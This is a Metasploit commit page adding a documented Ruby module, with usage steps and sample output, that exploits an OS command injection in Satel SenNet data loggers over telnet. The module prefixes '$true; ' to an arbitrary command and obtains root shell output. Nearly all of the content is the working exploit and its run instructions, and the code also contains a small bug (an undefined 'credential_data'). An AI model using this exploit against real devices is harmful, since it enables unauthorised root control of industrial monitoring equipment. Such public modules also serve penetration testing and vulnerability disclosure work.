Skip to content

Commit e65eacc

Browse files
committed
Add Satel SenNet Command Exec Module
1 parent 4882927 commit e65eacc

File tree

2 files changed

+109
-0
lines changed

2 files changed

+109
-0
lines changed
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/telnet/satel_cmd_exec```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf > use auxiliary/scanner/telnet/satel_cmd_exec
14+
msf auxiliary(satel_cmd_exec) > set rhosts 1.3.3.7
15+
msf auxiliary(satel_cmd_exec) > run
16+
17+
[*] 1.3.3.7:5000 - Sending command now - id;
18+
[+] 1.3.3.7:5000 - uid=0(root) gid=0(root)
19+
[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000004_1.3.3.7_cmdexeclog_528409.txt
20+
[*] Scanned 1 of 1 hosts (100% complete)
21+
[*] Auxiliary module execution completed
22+
23+
```
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::Telnet
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::Scanner
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Satel SenNet Data Logger Privileged Shell Arbitrary Command Execution Vulnerability',
16+
'Description' => %q{
17+
This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'.
18+
},
19+
'Author' =>
20+
[
21+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
22+
],
23+
'DisclosureDate' => 'Apr 07, 2017',
24+
'License' => MSF_LICENSE,
25+
'DefaultOptions' => { 'VERBOSE' => true })
26+
)
27+
28+
register_options(
29+
[
30+
Opt::RPORT(5000),
31+
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]),
32+
OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd;'])
33+
], self.class
34+
)
35+
36+
deregister_options('USERNAME', 'PASSWORD')
37+
end
38+
39+
def report_cred(opts)
40+
service_data = {
41+
address: opts[:ip],
42+
port: opts[:port],
43+
service_name: opts[:service_name],
44+
protocol: 'tcp',
45+
workspace_id: myworkspace_id
46+
}
47+
48+
login_data = {
49+
last_attempted_at: Time.now,
50+
core: create_credential(credential_data),
51+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
52+
proof: opts[:proof]
53+
}.merge(service_data)
54+
55+
create_credential_login(login_data)
56+
end
57+
58+
def run_host(ip)
59+
to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
60+
begin
61+
::Timeout.timeout(to) do
62+
command = datastore['CMD']
63+
inject = '$true; ' + "#{command}"
64+
res = connect
65+
66+
print_status("Sending command now - #{command}")
67+
68+
sock.puts(inject)
69+
data = sock.get_once(-1, 5)
70+
71+
print_good("#{data}")
72+
73+
loot_name = 'cmd-exec-log'
74+
loot_type = 'text/plain'
75+
loot_desc = 'Satel SenNet CMD Exec Dump'
76+
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
77+
print_good("File saved in: #{p}")
78+
end
79+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
80+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
81+
return false
82+
ensure
83+
disconnect
84+
end
85+
end
86+
end

0 commit comments

Comments
 (0)